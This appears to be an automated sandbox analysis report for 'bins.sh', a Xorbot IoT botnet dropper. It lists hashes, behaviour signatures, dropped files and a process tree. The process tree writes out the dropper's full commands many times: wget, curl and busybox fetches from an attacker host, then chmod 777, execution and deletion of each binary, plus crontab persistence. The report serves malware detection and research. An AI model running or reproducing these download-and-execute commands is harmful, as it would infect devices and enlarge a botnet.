Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    21-02-2025 08:38

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    1117b23d0d8f346ed7c538523120a83e

  • SHA1

    43733f33703b8a7209aab4d173cac4fe9e71f15c

  • SHA256

    2ade39dd3f7394eb80e8f76f328e5a9b29d3aa0a37c15705580890a26ab589ee

  • SHA512

    d2b8de1f90803a17d1241431408f59eeabe8a84dc737451683a0ebf1a42cf91275b5efeb3fcd035b6b7ee2104aad800068989736b9d58c765a234e3c10db00e3

  • SSDEEP

    192:5xtQTTdfISXeb0VV5KT3soG9tUb/YVV5KT3EebQ9tUb/dxtQTT9i:5xtQTTdfISXeb0VV5KT3soKVV5KT3Eet

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1079) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 25 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:706
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:709
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/KOHAQXBGK8NJ1PqKzSadD1k4is3HyttP90
        2⤵
        • Writes file to tmp directory
        PID:713
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/KOHAQXBGK8NJ1PqKzSadD1k4is3HyttP90
        2⤵
        • Writes file to tmp directory
        PID:721
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/KOHAQXBGK8NJ1PqKzSadD1k4is3HyttP90
        2⤵
        • Writes file to tmp directory
        PID:737
      • /bin/chmod
        chmod 777 KOHAQXBGK8NJ1PqKzSadD1k4is3HyttP90
        2⤵
        • File and Directory Permissions Modification
        PID:738
      • /tmp/KOHAQXBGK8NJ1PqKzSadD1k4is3HyttP90
        ./KOHAQXBGK8NJ1PqKzSadD1k4is3HyttP90
        2⤵
          PID:739
        • /bin/rm
          rm KOHAQXBGK8NJ1PqKzSadD1k4is3HyttP90
          2⤵
            PID:741
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/9PBG36LY8xFCKG9HACvlNwEKaq8vLQVQkT
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:742
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/9PBG36LY8xFCKG9HACvlNwEKaq8vLQVQkT
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:805
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/9PBG36LY8xFCKG9HACvlNwEKaq8vLQVQkT
            2⤵
            • System Network Configuration Discovery
            PID:820
          • /bin/chmod
            chmod 777 9PBG36LY8xFCKG9HACvlNwEKaq8vLQVQkT
            2⤵
            • File and Directory Permissions Modification
            PID:824
          • /tmp/9PBG36LY8xFCKG9HACvlNwEKaq8vLQVQkT
            ./9PBG36LY8xFCKG9HACvlNwEKaq8vLQVQkT
            2⤵
              PID:825
            • /bin/rm
              rm 9PBG36LY8xFCKG9HACvlNwEKaq8vLQVQkT
              2⤵
                PID:827
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/6FZaljX9SwOAcXG3Y5TPYAhKdkukplNjri
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:828
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/6FZaljX9SwOAcXG3Y5TPYAhKdkukplNjri
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:829
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/6FZaljX9SwOAcXG3Y5TPYAhKdkukplNjri
                2⤵
                • System Network Configuration Discovery
                PID:831
              • /bin/chmod
                chmod 777 6FZaljX9SwOAcXG3Y5TPYAhKdkukplNjri
                2⤵
                • File and Directory Permissions Modification
                PID:832
              • /tmp/6FZaljX9SwOAcXG3Y5TPYAhKdkukplNjri
                ./6FZaljX9SwOAcXG3Y5TPYAhKdkukplNjri
                2⤵
                  PID:833
                • /bin/rm
                  rm 6FZaljX9SwOAcXG3Y5TPYAhKdkukplNjri
                  2⤵
                    PID:835
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/8LfJaNfxRfBEDsdrserLmQ10TWgAsjzmRZ
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:836
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/8LfJaNfxRfBEDsdrserLmQ10TWgAsjzmRZ
                    2⤵
                    • Reads runtime system information
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:837
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/8LfJaNfxRfBEDsdrserLmQ10TWgAsjzmRZ
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:839
                  • /bin/chmod
                    chmod 777 8LfJaNfxRfBEDsdrserLmQ10TWgAsjzmRZ
                    2⤵
                    • File and Directory Permissions Modification
                    PID:840
                  • /tmp/8LfJaNfxRfBEDsdrserLmQ10TWgAsjzmRZ
                    ./8LfJaNfxRfBEDsdrserLmQ10TWgAsjzmRZ
                    2⤵
                    • Renames itself
                    • Reads runtime system information
                    PID:841
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:843
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:844
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:845
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:846
                        • /bin/rm
                          rm 8LfJaNfxRfBEDsdrserLmQ10TWgAsjzmRZ
                          2⤵
                            PID:848
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/UjzJtdbwcWBz2xp2hK1QOceNfQJVvUEJdo
                            2⤵
                            • System Network Configuration Discovery
                            PID:858
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/UjzJtdbwcWBz2xp2hK1QOceNfQJVvUEJdo
                            2⤵
                            • System Network Configuration Discovery
                            PID:932
                          • /bin/busybox
                            /bin/busybox wget http://conn.masjesu.zip/bins/UjzJtdbwcWBz2xp2hK1QOceNfQJVvUEJdo
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:933
                          • /bin/chmod
                            chmod 777 UjzJtdbwcWBz2xp2hK1QOceNfQJVvUEJdo
                            2⤵
                            • File and Directory Permissions Modification
                            PID:947
                          • /tmp/UjzJtdbwcWBz2xp2hK1QOceNfQJVvUEJdo
                            ./UjzJtdbwcWBz2xp2hK1QOceNfQJVvUEJdo
                            2⤵
                              PID:948
                            • /bin/rm
                              rm UjzJtdbwcWBz2xp2hK1QOceNfQJVvUEJdo
                              2⤵
                                PID:950
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/NeaWwhu9CLef0H1JBBidXqgsAL9PABr2qy
                                2⤵
                                • System Network Configuration Discovery
                                PID:951
                              • /usr/bin/curl
                                curl -O http://conn.masjesu.zip/bins/NeaWwhu9CLef0H1JBBidXqgsAL9PABr2qy
                                2⤵
                                • System Network Configuration Discovery
                                PID:952
                              • /bin/busybox
                                /bin/busybox wget http://conn.masjesu.zip/bins/NeaWwhu9CLef0H1JBBidXqgsAL9PABr2qy
                                2⤵
                                • System Network Configuration Discovery
                                PID:953
                              • /bin/chmod
                                chmod 777 NeaWwhu9CLef0H1JBBidXqgsAL9PABr2qy
                                2⤵
                                • File and Directory Permissions Modification
                                PID:954
                              • /tmp/NeaWwhu9CLef0H1JBBidXqgsAL9PABr2qy
                                ./NeaWwhu9CLef0H1JBBidXqgsAL9PABr2qy
                                2⤵
                                  PID:955
                                • /bin/rm
                                  rm NeaWwhu9CLef0H1JBBidXqgsAL9PABr2qy
                                  2⤵
                                    PID:956
                                  • /usr/bin/wget
                                    wget http://conn.masjesu.zip/bins/RY4VgKVPWWR6nX7xeCFfVxUngzLSSGpeTD
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:957
                                  • /usr/bin/curl
                                    curl -O http://conn.masjesu.zip/bins/RY4VgKVPWWR6nX7xeCFfVxUngzLSSGpeTD
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:962
                                  • /bin/busybox
                                    /bin/busybox wget http://conn.masjesu.zip/bins/RY4VgKVPWWR6nX7xeCFfVxUngzLSSGpeTD
                                    2⤵
                                    • System Network Configuration Discovery
                                    • Writes file to tmp directory
                                    PID:963
                                  • /bin/chmod
                                    chmod 777 RY4VgKVPWWR6nX7xeCFfVxUngzLSSGpeTD
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:964
                                  • /tmp/RY4VgKVPWWR6nX7xeCFfVxUngzLSSGpeTD
                                    ./RY4VgKVPWWR6nX7xeCFfVxUngzLSSGpeTD
                                    2⤵
                                      PID:965
                                    • /bin/rm
                                      rm RY4VgKVPWWR6nX7xeCFfVxUngzLSSGpeTD
                                      2⤵
                                        PID:967
                                      • /usr/bin/wget
                                        wget http://conn.masjesu.zip/bins/O8CTQgn3ot3G4DLF67kkYYdGTKQrQ4wed6
                                        2⤵
                                        • System Network Configuration Discovery
                                        PID:968
                                      • /usr/bin/curl
                                        curl -O http://conn.masjesu.zip/bins/O8CTQgn3ot3G4DLF67kkYYdGTKQrQ4wed6
                                        2⤵
                                        • System Network Configuration Discovery
                                        PID:969
                                      • /bin/busybox
                                        /bin/busybox wget http://conn.masjesu.zip/bins/O8CTQgn3ot3G4DLF67kkYYdGTKQrQ4wed6
                                        2⤵
                                        • System Network Configuration Discovery
                                        PID:970
                                      • /bin/chmod
                                        chmod 777 O8CTQgn3ot3G4DLF67kkYYdGTKQrQ4wed6
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:971
                                      • /tmp/O8CTQgn3ot3G4DLF67kkYYdGTKQrQ4wed6
                                        ./O8CTQgn3ot3G4DLF67kkYYdGTKQrQ4wed6
                                        2⤵
                                          PID:972
                                        • /bin/rm
                                          rm O8CTQgn3ot3G4DLF67kkYYdGTKQrQ4wed6
                                          2⤵
                                            PID:973
                                          • /usr/bin/wget
                                            wget http://conn.masjesu.zip/bins/Rdzu5EuiwlfSCUDraexOP9NJyRQlzcpnSv
                                            2⤵
                                            • System Network Configuration Discovery
                                            PID:978
                                          • /usr/bin/curl
                                            curl -O http://conn.masjesu.zip/bins/Rdzu5EuiwlfSCUDraexOP9NJyRQlzcpnSv
                                            2⤵
                                            • System Network Configuration Discovery
                                            PID:979
                                          • /bin/busybox
                                            /bin/busybox wget http://conn.masjesu.zip/bins/Rdzu5EuiwlfSCUDraexOP9NJyRQlzcpnSv
                                            2⤵
                                            • System Network Configuration Discovery
                                            • Writes file to tmp directory
                                            PID:980
                                          • /bin/chmod
                                            chmod 777 Rdzu5EuiwlfSCUDraexOP9NJyRQlzcpnSv
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:981
                                          • /tmp/Rdzu5EuiwlfSCUDraexOP9NJyRQlzcpnSv
                                            ./Rdzu5EuiwlfSCUDraexOP9NJyRQlzcpnSv
                                            2⤵
                                              PID:982
                                            • /bin/rm
                                              rm Rdzu5EuiwlfSCUDraexOP9NJyRQlzcpnSv
                                              2⤵
                                                PID:984
                                              • /usr/bin/wget
                                                wget http://conn.masjesu.zip/bins/6oeEUQFaTdFKzYhhHPyeJwcaOGb36oQtdo
                                                2⤵
                                                • System Network Configuration Discovery
                                                PID:985

                                            Network

                                            MITRE ATT&CK Enterprise v15

                                            Replay Monitor

                                            Loading Replay Monitor...

                                            Downloads

                                            • /tmp/6FZaljX9SwOAcXG3Y5TPYAhKdkukplNjri

                                              Filesize

                                              99KB

                                              MD5

                                              9438d9bc392bcf300a5583b6df5bc8f6

                                              SHA1

                                              375a6ae34b516f6f3eeea8030c4084f585017efa

                                              SHA256

                                              68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                              SHA512

                                              1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                            • /tmp/8LfJaNfxRfBEDsdrserLmQ10TWgAsjzmRZ

                                              Filesize

                                              151KB

                                              MD5

                                              6c583043d91c55aa470c08c87058e917

                                              SHA1

                                              abf65a5b9bba69980278ad09356e53de8bb89439

                                              SHA256

                                              2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                              SHA512

                                              82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                            • /tmp/9PBG36LY8xFCKG9HACvlNwEKaq8vLQVQkT

                                              Filesize

                                              111KB

                                              MD5

                                              ca897a38f23ec23521ce0b1b83f8422d

                                              SHA1

                                              b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                              SHA256

                                              043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                              SHA512

                                              10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                            • /tmp/KOHAQXBGK8NJ1PqKzSadD1k4is3HyttP90

                                              Filesize

                                              119KB

                                              MD5

                                              1b166b95f9cb4b079ef1b9ec8363ddf3

                                              SHA1

                                              0d8eb08add467b3b5474f9b25909297fe7c2839c

                                              SHA256

                                              94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                              SHA512

                                              983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                            • /tmp/RY4VgKVPWWR6nX7xeCFfVxUngzLSSGpeTD

                                              Filesize

                                              112KB

                                              MD5

                                              05d7857dcead18bbd86d2935f591873c

                                              SHA1

                                              34d18f41ef35f93d5364ce3e24d74730a4e91985

                                              SHA256

                                              2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                              SHA512

                                              d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                            • /tmp/Rdzu5EuiwlfSCUDraexOP9NJyRQlzcpnSv

                                              Filesize

                                              141KB

                                              MD5

                                              3ca8decdb1e52c423c521bfff02ac200

                                              SHA1

                                              8621ecd6807109b8541912ad9e134f6fb49bfd48

                                              SHA256

                                              dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                              SHA512

                                              b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                            • /tmp/UjzJtdbwcWBz2xp2hK1QOceNfQJVvUEJdo

                                              Filesize

                                              107KB

                                              MD5

                                              eb9c3a0de91fcf16ba17cb24608df68c

                                              SHA1

                                              09d95a7d70d5e115d103be51edff7c498d272fac

                                              SHA256

                                              dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                              SHA512

                                              9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                            • /var/spool/cron/crontabs/tmp.fgcmIt

                                              Filesize

                                              210B

                                              MD5

                                              727648516a0361e50fc9cde2c80ddae2

                                              SHA1

                                              bce51c0e539aba06e11fae6c531a0d879c76f74c

                                              SHA256

                                              30d7c9f3cad67288fe4bef2faf2d2e44e47c96b36e579ffef7648544fda760e0

                                              SHA512

                                              cd2e33a54a334cab7fd84b74ec5c05116155c0ebe68e727be37142fdf04c82adcbf98fed2286c117a77159c4a193265ae53292330a6751f782973726037874f1